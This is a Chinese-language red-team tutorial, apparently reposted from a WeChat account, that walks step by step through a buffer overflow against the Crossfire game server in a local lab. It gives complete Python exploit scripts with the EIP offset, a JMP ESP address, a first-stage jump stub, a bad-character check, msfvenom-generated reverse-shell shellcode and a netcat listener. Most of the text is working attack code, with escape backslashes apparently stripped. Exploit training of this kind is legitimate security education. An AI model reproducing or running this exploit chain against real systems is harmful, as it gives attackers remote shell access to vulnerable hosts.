Crossfire缓冲区溢出
缓冲区溢出是安全领域经典的漏洞利用技术。本文将以Crossfire游戏服务为例,带你一步步完成一次完整的缓冲区溢出攻击实战,最终获取反向Shell。 缓冲区溢出是安全领域经典的漏洞利用技术。本文将以Crossfire游戏服务为例,带你一步步完成一次完整的缓冲区溢出攻击实战,最终获取反向Shell。
环境准备
解压游戏包
tar -zxf crossfire.tar.gz
部署到系统目录
创建/usr/games/目录,将crossfire复制到目录,进入到对应路径
mkdir /usr/games/
cp -r crossfire /usr/games/
cd /usr/games/crossfire/bin
修改文件所有者
chown kali:kali /usr/games/crossfire -R
使用kali用户启动crossfire程序
cd /usr/games/crossfire/bin
./crossfire
查看程序端口信息
netstat -anp | grep crossfire
漏洞分析与调试
开启调试
打开"edb"调试>导入"crossfire"程序
点击"file" > "Attach" > 搜索"crossfire" > "OK"
触发溢出
这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以
使用python脚本:
python2 exp01.py
脚本代码:
#!/usr/bin/python
import socket, sys
host = "127.0.0.1"
overflow = "A" * 4379
payload = "x11(setup sound " + overflow + "x90x00#"
s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"
Crossfire的溢出点位于处理setup sound命令时。通过发送特定长度的数据可覆盖EIP寄存器:
定位EIP偏移
生成脏数据
msf-pattern_create -l 4379
修改,使用脚本:
python2 exp02.py
触发崩溃后,记录EIP值 EIP:46367046
计算偏移量
msf-pattern_offset -l 4379 -q 46367046
位于4368
验证EIP控制
修改脚本,使用脚本
python2 exp03.py
#!/usr/bin/python
import socket, sys
host = "127.0.0.1"
overflow = "A" * 4368 + "B" * 4 + "C" * 7
payload = "x11(setup sound " + overflow + "x90x00#"
s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"
找出shellcode占用的空间
EAX寄存器看起来指向payload的起始位置,包含了字符串“setup sound ”
但是EAX寄存器没有直接跳转到缓冲区(缓冲区的起始地址以A字符串开头),这可能会影响执行exp,导致失败。
可以使用ESP寄存器指向的字节,来创建第一个阶段的shellcode。它可以使得ESP寄存器与缓冲区的A字符起始位置对齐,跳过字符串“setup sound”
为了达到这个目的,我们第一阶段的shellcode将需要添加12比特给EAX寄存器,然后跳转到EAX
构造Shellcode
ESP跳转到EAX
向ESP指向的七个字节堆栈中注入指令 add eax,12 JMP EAX
msf-nasm_shell
add eax,12
83C00C
jmp eax
FFE0
拼接:83C00CFFE0
定位JMP ESP地址
plugins > opcodesearcher > opcode search > 选择"ESP->EIP" > 搜索选择crossfire程序 > Find
0x08134596
检测坏字符
修改python脚本,使用python脚本:python2 exp04.py
#!/usr/bin/python
import socket, sys
host = "127.0.0.1"
overflow = "A" * 4368 + "B" * 4 + "x1cx1dx1ex1fx20x21x22"
payload = "x11(setup sound " + overflow + "x90x00#"
s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"
坏字符:x00x20
msf生成shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f python -b "x00x20"
构造payload
#!/usr/bin/python
import socket, sys
host = "127.0.0.1"
nul = "x90" * 10
buf = b""
buf += b"xdbxd7xd9x74x24xf4x5axbdxa9xa3x72xce"
buf += b"x29xc9xb1x12x31x6ax17x83xc2x04x03xc3"
buf += b"xb0x90x3bx22x6cxa3x27x17xd1x1fxc2x95"
buf += b"x5cx7exa2xffx93x01x50xa6x9bx3dx9axd8"
buf += b"x95x38xddxb0x5axbbx1dx41xcdxb9x1dx63"
buf += b"xb5x37xfcxd3xa3x17xaex40x9fx9bxd9x87"
buf += b"x12x1bx8bx2fxc3x33x5fxc7x73x63xb0x75"
buf += b"xedxf2x2dx2bxbex8dx53x7bx4bx43x13"
eax = "A" * (4368 - len(nul) - len(buf))
eip = "x96x45x13x08"
esp = "x83xC0x0CxFFxE0x90x90"
payload = "x11(setup sound " + nul + buf + eax + eip + esp + "x90x00#"
s = socket.socket()
print"[*] Sending exploit..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(payload)
s.close()
print"[!] Payload sent!"
反弹shell
监听端口
nc -nlvvp 8888
执行攻击脚本
python2 exp05.py
反弹shell成功
红队全栈教学
可在公众号回复“红队”获取群链接
OSCP+
原文始发于微信公众号(泷羽Sec):Linux 32位Crossfire游戏缓冲区溢出
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论